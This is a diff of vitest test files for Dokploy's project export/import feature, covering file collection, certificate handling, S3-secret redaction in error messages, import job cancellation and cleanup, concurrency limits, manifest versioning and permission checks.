MONITORING_PATH: join(root, "monitoring"),
|
||||
REGISTRY_PATH: join(root, "registry"),
|
||||
SCHEDULES_PATH: join(root, "schedules"),
|
||||
VOLUME_BACKUPS_PATH: join(root, "volume-backups"),
|
||||
VOLUME_BACKUP_LOCK_PATH: join(root, "volume-backup-lock"),
|
||||
PATCH_REPOS_PATH: join(root, "patch-repos"),
|
||||
});
|
||||
|
||||
beforeEach(async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-files-root-"));
|
||||
workDir = await mkdtemp(join(tmpdir(), "transfer-files-work-"));
|
||||
});
|
||||
|
||||
afterEach(async () => {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
await rm(workDir, { recursive: true, force: true });
|
||||
});
|
||||
|
||||
const buildTree = (application: Record<string, unknown>) => ({
|
||||
projectId: "project-1",
|
||||
name: "my-project",
|
||||
organizationId: "org-1",
|
||||
env: "",
|
||||
environments: [
|
||||
{
|
||||
environmentId: "env-1",
|
||||
name: "production",
|
||||
env: "",
|
||||
applications: [application],
|
||||
compose: [],
|
||||
...emptyServiceArrays,
|
||||
},
|
||||
],
|
||||
});
|
||||
|
||||
describe("collectFiles / application sources", () => {
|
||||
it("excludes .git and node_modules for a github-sourced app, and keeps other files", async () => {
|
||||
const appDir = join(root, "applications", "app-one");
|
||||
await mkdir(join(appDir, ".git"), { recursive: true });
|
||||
await writeFile(join(appDir, ".git", "HEAD"), "ref: refs/heads/main");
|
||||
await mkdir(join(appDir, "node_modules", "lodash"), { recursive: true });
|
||||
await writeFile(join(appDir, "node_modules", "lodash", "index.js"), "x");
|
||||
await mkdir(join(appDir, "code"), { recursive: true });
|
||||
await writeFile(join(appDir, "code", "main.go"), "package main");
|
||||
await writeFile(join(appDir, "Dockerfile"), "FROM node");
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "github",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(tree as any, baseScope, [], local(workDir), {
|
||||
pathsFn: fakePaths as any,
|
||||
});
|
||||
|
||||
const dest = join(workDir, "files", "applications", "app-one");
|
||||
expect(existsSync(join(dest, "Dockerfile"))).toBe(true);
|
||||
expect(existsSync(join(dest, ".git"))).toBe(false);
|
||||
expect(existsSync(join(dest, "node_modules"))).toBe(false);
|
||||
expect(existsSync(join(dest, "code"))).toBe(false);
|
||||
});
|
||||
|
||||
it("keeps code/ for a drop-sourced app (no repo to re-clone from)", async () => {
|
||||
const appDir = join(root, "applications", "app-drop");
|
||||
await mkdir(join(appDir, "code"), { recursive: true });
|
||||
await writeFile(join(appDir, "code", "main.go"), "package main");
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-drop",
|
||||
appName: "app-drop",
|
||||
serverId: null,
|
||||
sourceType: "drop",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(tree as any, baseScope, [], local(workDir), {
|
||||
pathsFn: fakePaths as any,
|
||||
});
|
||||
|
||||
const dest = join(workDir, "files", "applications", "app-drop");
|
||||
expect(existsSync(join(dest, "code", "main.go"))).toBe(true);
|
||||
});
|
||||
|
||||
it("does nothing when applicationSources is excluded from scope", async () => {
|
||||
const appDir = join(root, "applications", "app-one");
|
||||
await mkdir(appDir, { recursive: true });
|
||||
await writeFile(join(appDir, "Dockerfile"), "FROM node");
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "github",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(
|
||||
tree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: { ...baseScope.files, applicationSources: false },
|
||||
},
|
||||
[],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
expect(existsSync(join(workDir, "files", "applications", "app-one"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("does not throw when the application source directory doesn't exist (e.g. docker image source)", async () => {
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "does-not-exist",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await expect(
|
||||
collectFiles(tree as any, baseScope, [], local(workDir), {
|
||||
pathsFn: fakePaths as any,
|
||||
}),
|
||||
).resolves.toEqual({ warnings: [] });
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectFiles / traefik raw", () => {
|
||||
it("collects only the application's own dynamic yml file", async () => {
|
||||
await mkdir(join(root, "applications", "app-one"), { recursive: true });
|
||||
await mkdir(join(root, "traefik", "dynamic"), { recursive: true });
|
||||
await writeFile(
|
||||
join(root, "traefik", "dynamic", "app-one.yml"),
|
||||
"http:\n routers: {}",
|
||||
);
|
||||
await writeFile(
|
||||
join(root, "traefik", "dynamic", "app-two.yml"),
|
||||
"http:\n routers: unrelated",
|
||||
);
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(
|
||||
tree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: true,
|
||||
customCertificates: false,
|
||||
},
|
||||
},
|
||||
[],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
const collected = join(workDir, "files", "traefik", "app-one.yml");
|
||||
expect(existsSync(collected)).toBe(true);
|
||||
expect(readFileSync(collected, "utf8")).toBe("http:\n routers: {}");
|
||||
expect(existsSync(join(workDir, "files", "traefik", "app-two.yml"))).toBe(
|
||||
false,
|
||||
);
|
||||
});
|
||||
|
||||
it("leaves no traefik directory behind when the app has no dynamic yml", async () => {
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
await collectFiles(
|
||||
tree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: true,
|
||||
customCertificates: false,
|
||||
},
|
||||
},
|
||||
[],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
expect(existsSync(join(workDir, "files"))).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectFiles / custom certificates (T-6.18)", () => {
|
||||
const emptyTree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
it("pulls a local certificate (serverId: null) from CERTIFICATES_PATH on the local host", async () => {
|
||||
const certDir = join(root, "traefik", "dynamic", "certificates", "cert-1");
|
||||
await mkdir(certDir, { recursive: true });
|
||||
await writeFile(join(certDir, "cert.pem"), "local cert contents");
|
||||
|
||||
const certRequirement: Requirement = {
|
||||
kind: "certificate",
|
||||
originalId: "cert-1",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
fingerprint: "abc123",
|
||||
serverId: null,
|
||||
};
|
||||
|
||||
await collectFiles(
|
||||
emptyTree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: true,
|
||||
},
|
||||
},
|
||||
[certRequirement],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any },
|
||||
);
|
||||
|
||||
const collected = join(
|
||||
workDir,
|
||||
"files",
|
||||
"certificates",
|
||||
"cert-1",
|
||||
"cert.pem",
|
||||
);
|
||||
expect(existsSync(collected)).toBe(true);
|
||||
expect(readFileSync(collected, "utf8")).toBe("local cert contents");
|
||||
});
|
||||
|
||||
it("uses the certificate's own serverId (not local) when it's hosted on a remote server", async () => {
|
||||
const certRequirement: Requirement = {
|
||||
kind: "certificate",
|
||||
originalId: "cert-2",
|
||||
configIncluded: false,
|
||||
usedBy: [],
|
||||
fingerprint: "def456",
|
||||
serverId: "server-1",
|
||||
};
|
||||
|
||||
const messages: string[] = [];
|
||||
await collectFiles(
|
||||
emptyTree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: true,
|
||||
},
|
||||
},
|
||||
[certRequirement],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
|
||||
);
|
||||
|
||||
expect(messages.some((m) => m.includes("server server-1"))).toBe(true);
|
||||
expect(
|
||||
existsSync(join(workDir, "files", "certificates", "cert-2", "cert.pem")),
|
||||
).toBe(false);
|
||||
});
|
||||
});
|
||||
|
||||
describe("collectFiles / skip messages are redacted (T-10.9)", () => {
|
||||
afterEach(() => {
|
||||
failPullBox.value = false;
|
||||
});
|
||||
|
||||
it("reports the exit code and stderr, not the raw command, when a local pull fails", async () => {
|
||||
const appDir = join(root, "applications", "app-one");
|
||||
await mkdir(appDir, { recursive: true });
|
||||
await writeFile(join(appDir, "Dockerfile"), "FROM node");
|
||||
|
||||
failPullBox.value = true;
|
||||
|
||||
const tree = buildTree({
|
||||
applicationId: "app-1",
|
||||
appName: "app-one",
|
||||
serverId: null,
|
||||
sourceType: "docker",
|
||||
domains: [],
|
||||
});
|
||||
|
||||
const messages: string[] = [];
|
||||
const { warnings } = await collectFiles(
|
||||
tree as any,
|
||||
{
|
||||
...baseScope,
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
},
|
||||
[],
|
||||
local(workDir),
|
||||
{ pathsFn: fakePaths as any, emit: (message) => messages.push(message) },
|
||||
);
|
||||
|
||||
expect(messages).toHaveLength(1);
|
||||
expect(messages[0]).toContain("exit code 1");
|
||||
expect(messages[0]).toContain("no such file or directory");
|
||||
expect(messages[0]).not.toContain("tar -czf");
|
||||
expect(existsSync(join(workDir, "files"))).toBe(false);
|
||||
expect(warnings).toHaveLength(1);
|
||||
expect(warnings[0]?.code).toBe("FILE_PULL_FAILED");
|
||||
expect(warnings[0]?.message).toBe(messages[0]);
|
||||
expect(warnings[0]?.affected).toContainEqual(
|
||||
expect.objectContaining({ serviceId: "app-1" }),
|
||||
);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,83 @@
|
||||
import { ExecError } from "@dokploy/server/utils/process/execAsync";
|
||||
import { describe, expect, it, vi } from "vitest";
|
||||
|
||||
vi.mock(
|
||||
"@dokploy/server/services/project-export-import",
|
||||
async (importOriginal) => {
|
||||
const actual =
|
||||
await importOriginal<
|
||||
typeof import("@dokploy/server/services/project-export-import")
|
||||
>();
|
||||
const execError = (command: string) =>
|
||||
new ExecError(`Command execution failed: Command failed: ${command}`, {
|
||||
command,
|
||||
stderr: "NoSuchKey: The specified key does not exist",
|
||||
exitCode: 1,
|
||||
});
|
||||
return {
|
||||
...actual,
|
||||
assertTransferPermission: vi.fn(async () => ({ role: "owner" })),
|
||||
downloadBundleFromDestination: vi.fn(async () => {
|
||||
throw execError(
|
||||
"rclone copyto --s3-secret-access-key=realsecretkey789 :s3:mybucket/key.tar.gz /tmp/bundle.tar.gz",
|
||||
);
|
||||
}),
|
||||
listBundlesUnderPrefix: vi.fn(async () => {
|
||||
throw execError(
|
||||
"rclone lsjson --s3-secret-access-key=realsecretkey789 :s3:mybucket",
|
||||
);
|
||||
}),
|
||||
};
|
||||
},
|
||||
);
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
destinations: {
|
||||
findFirst: vi.fn(async () => ({
|
||||
destinationId: "destination-1",
|
||||
organizationId: "org-1",
|
||||
bucket: "mybucket",
|
||||
})),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
const { projectExportImportRouter } = await import(
|
||||
"../../server/api/routers/project-export-import"
|
||||
);
|
||||
|
||||
const ctxFor = (organizationId: string) =>
|
||||
({
|
||||
session: { activeOrganizationId: organizationId },
|
||||
user: { id: "user-1", email: "a@b.com" },
|
||||
}) as any;
|
||||
|
||||
describe("projectExportImportRouter.importFromDestination / listRemoteBundles (T-5.5)", () => {
|
||||
it("importFromDestination never leaks the destination's S3 secret in its error message", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.importFromDestination({
|
||||
destinationId: "destination-1",
|
||||
key: "key.tar.gz",
|
||||
}),
|
||||
).rejects.toSatisfy((error: unknown) => {
|
||||
const message = error instanceof Error ? error.message : String(error);
|
||||
expect(message).not.toContain("realsecretkey789");
|
||||
return true;
|
||||
});
|
||||
});
|
||||
|
||||
it("listRemoteBundles never leaks the destination's S3 secret in its error message", async () => {
|
||||
const caller = projectExportImportRouter.createCaller(ctxFor("org-1"));
|
||||
await expect(
|
||||
caller.listRemoteBundles({ destinationId: "destination-1" }),
|
||||
).rejects.toSatisfy((error: unknown) => {
|
||||
const message = error instanceof Error ? error.message : String(error);
|
||||
expect(message).not.toContain("realsecretkey789");
|
||||
return true;
|
||||
});
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,282 @@
|
||||
import { mkdir, mkdtemp, readdir, rm, writeFile } from "node:fs/promises";
|
||||
import { tmpdir } from "node:os";
|
||||
import { join } from "node:path";
|
||||
import type {
|
||||
Plan,
|
||||
Snapshot,
|
||||
TransferWriteDb,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
cancelImport,
|
||||
cleanupExpiredImports,
|
||||
createImportJob,
|
||||
getImportJob,
|
||||
runImport,
|
||||
updateImportJob,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { afterEach, describe, expect, it } from "vitest";
|
||||
|
||||
const local = (path: string) => ({ serverId: null, path });
|
||||
|
||||
const snapshot: Snapshot = {
|
||||
manifest: {
|
||||
format: "dokploy-project-export",
|
||||
formatVersion: 1,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0", organizationId: "org-src" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: false,
|
||||
composeFiles: false,
|
||||
traefikRaw: false,
|
||||
customCertificates: false,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
},
|
||||
resources: {
|
||||
project: { projectId: "project-1", name: "my-project" },
|
||||
environments: [],
|
||||
services: [],
|
||||
shared: {},
|
||||
},
|
||||
requirements: [],
|
||||
warnings: [],
|
||||
dumps: [],
|
||||
};
|
||||
|
||||
const plan: Plan = {
|
||||
target: { kind: "newProject", name: "imported" },
|
||||
resolutions: {},
|
||||
serverMap: {},
|
||||
appNameMap: {},
|
||||
domainStrategy: { custom: "keep" },
|
||||
portsStrategy: "keep",
|
||||
rotateDatabaseCredentials: false,
|
||||
conflicts: [],
|
||||
pendingServices: [],
|
||||
warnings: [],
|
||||
validation: [],
|
||||
summary: { counts: {}, domains: 0, dumps: 0 },
|
||||
};
|
||||
|
||||
const waitForStatus = async (
|
||||
importId: string,
|
||||
target: "done" | "failed",
|
||||
timeoutMs = 5000,
|
||||
) => {
|
||||
const start = Date.now();
|
||||
while (Date.now() - start < timeoutMs) {
|
||||
const job = getImportJob(importId);
|
||||
if (job?.status === target || job?.status === "failed") {
|
||||
return job;
|
||||
}
|
||||
await new Promise((resolve) => setTimeout(resolve, 10));
|
||||
}
|
||||
throw new Error(
|
||||
`Timed out waiting for import ${importId} to reach ${target}`,
|
||||
);
|
||||
};
|
||||
|
||||
describe("runImport", () => {
|
||||
it("leaves nothing created when apply() fails (transaction never commits)", async () => {
|
||||
const importId = "import-fail-1";
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, {
|
||||
snapshot,
|
||||
plan,
|
||||
secretsPlain: new Map(),
|
||||
workDir: local("/tmp/does-not-matter"),
|
||||
});
|
||||
|
||||
const failingDb = {
|
||||
query: {
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: () => {
|
||||
throw new Error("insert should never be called");
|
||||
},
|
||||
update: () => {
|
||||
throw new Error("update should never be called");
|
||||
},
|
||||
transaction: async () => {
|
||||
throw new Error("Simulated apply failure");
|
||||
},
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
runImport(importId, { db: failingDb, organizationId: "org-dest" });
|
||||
|
||||
const job = await waitForStatus(importId, "failed");
|
||||
expect(job?.status).toBe("failed");
|
||||
expect(job?.result).toBeUndefined();
|
||||
expect(job?.partial).toBeFalsy();
|
||||
expect(job?.error).toContain("Simulated apply failure");
|
||||
});
|
||||
|
||||
it("clears secretsPlain right after apply() and snapshot once the job is done", async () => {
|
||||
const importId = "import-clear-secrets-1";
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, {
|
||||
snapshot,
|
||||
plan,
|
||||
secretsPlain: new Map([["some-secret-id", "super-secret-value"]]),
|
||||
workDir: local("/tmp/does-not-matter"),
|
||||
});
|
||||
|
||||
const workingDb = {
|
||||
query: {
|
||||
server: { findFirst: async () => undefined },
|
||||
webServerSettings: { findFirst: async () => undefined },
|
||||
mounts: { findMany: async () => [] },
|
||||
certificates: { findFirst: async () => undefined },
|
||||
},
|
||||
insert: () => ({
|
||||
values: (values: Record<string, unknown>) => ({
|
||||
returning: async () => [{ ...values, projectId: "new-project-1" }],
|
||||
}),
|
||||
}),
|
||||
update: () => ({ set: () => ({ where: async () => {} }) }),
|
||||
transaction: async (fn: (tx: unknown) => Promise<unknown>) =>
|
||||
fn({ ...workingDb }),
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
runImport(importId, { db: workingDb, organizationId: "org-dest" });
|
||||
|
||||
const job = await waitForStatus(importId, "done");
|
||||
expect(job?.status).toBe("done");
|
||||
expect(job?.secretsPlain).toBeUndefined();
|
||||
expect(job?.snapshot).toBeUndefined();
|
||||
});
|
||||
|
||||
it("refuses to run without snapshot/plan/secrets already set on the job", async () => {
|
||||
const importId = "import-missing-1";
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
|
||||
const unusedDb = {
|
||||
query: {},
|
||||
insert: () => {
|
||||
throw new Error("should never be called");
|
||||
},
|
||||
update: () => {
|
||||
throw new Error("should never be called");
|
||||
},
|
||||
transaction: async () => {
|
||||
throw new Error("should never be called");
|
||||
},
|
||||
} as any as TransferWriteDb;
|
||||
|
||||
runImport(importId, { db: unusedDb, organizationId: "org-dest" });
|
||||
|
||||
const job = await waitForStatus(importId, "failed");
|
||||
expect(job?.status).toBe("failed");
|
||||
expect(job?.error).toMatch(/inspect, unlock and plan/i);
|
||||
});
|
||||
});
|
||||
|
||||
describe("cancelImport (T-4.2)", () => {
|
||||
let root: string;
|
||||
|
||||
afterEach(async () => {
|
||||
if (root) {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("removes the whole per-job directory, not just job.workDir; including the uploaded bundle sitting next to it", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-"));
|
||||
const importId = "import-cancel-1";
|
||||
const jobDir = join(root, importId);
|
||||
const workDir = join(jobDir, "extracted");
|
||||
await mkdir(workDir, { recursive: true });
|
||||
await writeFile(join(jobDir, "bundle.dokploy.tar.gz"), "fake bundle");
|
||||
await writeFile(join(workDir, "manifest.json"), "{}");
|
||||
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { root: local(jobDir), workDir: local(workDir) });
|
||||
|
||||
await cancelImport(importId);
|
||||
|
||||
await expect(readdir(jobDir)).rejects.toThrow();
|
||||
expect(getImportJob(importId)).toBeUndefined();
|
||||
});
|
||||
|
||||
it("refuses to cancel while the background pipeline is actually running (applying/restoring/deploying)", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-running-"));
|
||||
const importId = "import-cancel-running-1";
|
||||
const jobDir = join(root, importId);
|
||||
await mkdir(jobDir, { recursive: true });
|
||||
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { root: local(jobDir), status: "restoring" });
|
||||
|
||||
await expect(cancelImport(importId)).rejects.toThrow(TRPCError);
|
||||
|
||||
expect(getImportJob(importId)?.status).toBe("restoring");
|
||||
await expect(readdir(jobDir)).resolves.toEqual([]);
|
||||
});
|
||||
|
||||
it("still allows cancelling a job that's only idling on the next user step (e.g. 'planned')", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cancel-import-idle-"));
|
||||
const importId = "import-cancel-idle-1";
|
||||
const jobDir = join(root, importId);
|
||||
await mkdir(jobDir, { recursive: true });
|
||||
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { root: local(jobDir), status: "planned" });
|
||||
|
||||
await cancelImport(importId);
|
||||
|
||||
expect(getImportJob(importId)).toBeUndefined();
|
||||
});
|
||||
});
|
||||
|
||||
describe("cleanupExpiredImports (T-5.10)", () => {
|
||||
let root: string;
|
||||
|
||||
afterEach(async () => {
|
||||
if (root) {
|
||||
await rm(root, { recursive: true, force: true });
|
||||
}
|
||||
});
|
||||
|
||||
it("leaves an active (non-terminal status) job alone even past the TTL", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
|
||||
const importId = "active-past-ttl-1";
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { status: "restoring" });
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredImports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.importId)).not.toContain(importId);
|
||||
expect(getImportJob(importId)).toBeDefined();
|
||||
});
|
||||
|
||||
it("cleans up a terminal-status job once it's past the TTL", async () => {
|
||||
root = await mkdtemp(join(tmpdir(), "transfer-cleanup-import-"));
|
||||
const importId = "terminal-past-ttl-1";
|
||||
const jobDir = join(root, importId);
|
||||
await mkdir(jobDir, { recursive: true });
|
||||
createImportJob(importId, "user-1", "org-dest");
|
||||
updateImportJob(importId, { root: local(jobDir), status: "done" });
|
||||
|
||||
const farFuture = Date.now() + 2 * 60 * 60 * 1000;
|
||||
const expired = await cleanupExpiredImports(farFuture);
|
||||
|
||||
expect(expired.map((j) => j.importId)).toContain(importId);
|
||||
expect(getImportJob(importId)).toBeUndefined();
|
||||
await expect(readdir(jobDir)).rejects.toThrow();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,65 @@
|
||||
import {
|
||||
assertNoActiveTransfer,
|
||||
createExportJob,
|
||||
createImportJob,
|
||||
createImportJobIfNoneActive,
|
||||
getImportJob,
|
||||
updateExportJob,
|
||||
updateImportJob,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { TRPCError } from "@trpc/server";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
describe("assertNoActiveTransfer (T-4.2)", () => {
|
||||
it("throws when the user has an in-progress export", () => {
|
||||
createExportJob("export-rl-1", "user-rl-1", "org-1");
|
||||
updateExportJob("export-rl-1", { status: "capturing" });
|
||||
|
||||
expect(() => assertNoActiveTransfer("user-rl-1")).toThrow(TRPCError);
|
||||
});
|
||||
|
||||
it("throws when the user has an in-progress import", () => {
|
||||
createImportJob("import-rl-1", "user-rl-2", "org-1");
|
||||
updateImportJob("import-rl-1", { status: "applying" });
|
||||
|
||||
expect(() => assertNoActiveTransfer("user-rl-2")).toThrow(TRPCError);
|
||||
});
|
||||
|
||||
it("does not throw once the job reaches a terminal status", () => {
|
||||
createExportJob("export-rl-2", "user-rl-3", "org-1");
|
||||
updateExportJob("export-rl-2", { status: "done" });
|
||||
createImportJob("import-rl-2", "user-rl-3", "org-1");
|
||||
updateImportJob("import-rl-2", { status: "done" });
|
||||
|
||||
expect(() => assertNoActiveTransfer("user-rl-3")).not.toThrow();
|
||||
});
|
||||
|
||||
it("does not throw for a different user's in-progress job", () => {
|
||||
createExportJob("export-rl-3", "user-rl-4", "org-1");
|
||||
updateExportJob("export-rl-3", { status: "capturing" });
|
||||
|
||||
expect(() => assertNoActiveTransfer("user-rl-someone-else")).not.toThrow();
|
||||
});
|
||||
});
|
||||
|
||||
describe("createImportJobIfNoneActive (T-5.11)", () => {
|
||||
it("the second of two back-to-back calls for the same user fails, even with no active job at the time of either's own separate check", () => {
|
||||
createImportJobIfNoneActive("import-atomic-1", "user-atomic-1", "org-1");
|
||||
|
||||
expect(() =>
|
||||
createImportJobIfNoneActive("import-atomic-2", "user-atomic-1", "org-1"),
|
||||
).toThrow(TRPCError);
|
||||
|
||||
expect(getImportJob("import-atomic-1")).toBeDefined();
|
||||
expect(getImportJob("import-atomic-2")).toBeUndefined();
|
||||
});
|
||||
|
||||
it("still allows a different user's call to proceed", () => {
|
||||
createImportJobIfNoneActive("import-atomic-3", "user-atomic-2", "org-1");
|
||||
|
||||
expect(() =>
|
||||
createImportJobIfNoneActive("import-atomic-4", "user-atomic-3", "org-1"),
|
||||
).not.toThrow();
|
||||
expect(getImportJob("import-atomic-4")).toBeDefined();
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,52 @@
|
||||
import type { Manifest } from "@dokploy/server/services/project-export-import";
|
||||
import {
|
||||
migrateManifest,
|
||||
TRANSFER_FORMAT,
|
||||
TRANSFER_FORMAT_VERSION,
|
||||
UnsupportedBundleVersionError,
|
||||
} from "@dokploy/server/services/project-export-import";
|
||||
import { describe, expect, it } from "vitest";
|
||||
|
||||
const baseManifest: Manifest = {
|
||||
format: TRANSFER_FORMAT,
|
||||
formatVersion: TRANSFER_FORMAT_VERSION,
|
||||
exportedAt: "2024-01-01T00:00:00.000Z",
|
||||
exportedBy: { userId: "user-1", email: "a@b.com" },
|
||||
sourceInstance: { dokployVersion: "1.0.0-test", organizationId: "org-1" },
|
||||
scope: {
|
||||
includeEnvSecrets: true,
|
||||
shared: {},
|
||||
files: {
|
||||
applicationSources: true,
|
||||
composeFiles: true,
|
||||
traefikRaw: true,
|
||||
customCertificates: true,
|
||||
},
|
||||
dumps: { mode: "none" },
|
||||
includeBackupSchedules: true,
|
||||
},
|
||||
crypto: {
|
||||
salt: "c2FsdA==",
|
||||
kdfParams: { N: 32768, r: 8, p: 1, dkLen: 64 },
|
||||
keyCheck: "{}",
|
||||
},
|
||||
counts: {},
|
||||
};
|
||||
|
||||
describe("migrateManifest", () => {
|
||||
it("returns a v1 manifest unchanged (identity)", () => {
|
||||
const result = migrateManifest(baseManifest);
|
||||
expect(result).toEqual(baseManifest);
|
||||
});
|
||||
|
||||
it("throws UnsupportedBundleVersionError for a bundle newer than this install supports", () => {
|
||||
const future: Manifest = {
|
||||
...baseManifest,
|
||||
formatVersion: TRANSFER_FORMAT_VERSION + 1,
|
||||
};
|
||||
expect(() => migrateManifest(future)).toThrow(
|
||||
UnsupportedBundleVersionError,
|
||||
);
|
||||
expect(() => migrateManifest(future)).toThrow(/newer version of Dokploy/i);
|
||||
});
|
||||
});
|
||||
@@ -0,0 +1,108 @@
|
||||
import { beforeEach, describe, expect, it, vi } from "vitest";
|
||||
|
||||
let memberToReturn:
|
||||
| {
|
||||
id: string;
|
||||
role: string;
|
||||
userId: string;
|
||||
organizationId: string;
|
||||
accessedProjects: string[];
|
||||
}
|
||||
| undefined = {
|
||||
id: "member-1",
|
||||
role: "owner",
|
||||
userId: "user-1",
|
||||
organizationId: "org-1",
|
||||
accessedProjects: [],
|
||||
};
|
||||
|
||||
let projectToReturn: { projectId: string; organizationId: string } | undefined =
|
||||
{ projectId: "project-1", organizationId: "org-1" };
|
||||
|
||||
vi.mock("@dokploy/server/db", () => ({
|
||||
db: {
|
||||
query: {
|
||||
member: {
|
||||
findFirst: vi.fn(() => Promise.resolve(memberToReturn)),
|
||||
},
|
||||
projects: {
|
||||
findFirst: vi.fn(() => Promise.resolve(projectToReturn)),
|
||||
},
|
||||
},
|
||||
},
|
||||
}));
|
||||
|
||||
const { assertTransferPermission } = await import(
|
||||
"@dokploy/server/services/project-export-import"
|
||||
);
|
||||
|
||||
const ctxFor = (organizationId: string) => ({
|
||||
user: { id: "user-1" },
|
||||
session: { activeOrganizationId: organizationId },
|
||||
});
|
||||
|
||||
beforeEach(() => {
|
||||
memberToReturn = {
|
||||
id: "member-1",
|
||||
role: "owner",
|
||||
userId: "user-1",
|
||||
organizationId: "org-1",
|
||||
accessedProjects: [],
|
||||
};
|
||||
projectToReturn = { projectId: "project-1", organizationId: "org-1" };
|
||||
});
|
||||
|
||||
describe("assertTransferPermission", () => {
|
||||
it("allows an owner to export", async () => {
|
||||
memberToReturn = { ...memberToReturn!, role: "owner" };
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
|
||||
).resolves.toBeDefined();
|
||||
});
|
||||
|
||||
it("allows an admin to export", async () => {
|
||||
memberToReturn = { ...memberToReturn!, role: "admin" };
|
||||
await expect(
|
||||
assertTransferPermission(ctxFor("org-1") as any, "project-1", "export"),
|
||||
).resolves.toBeDefined();
|
||||
});
|
||||
|
||||
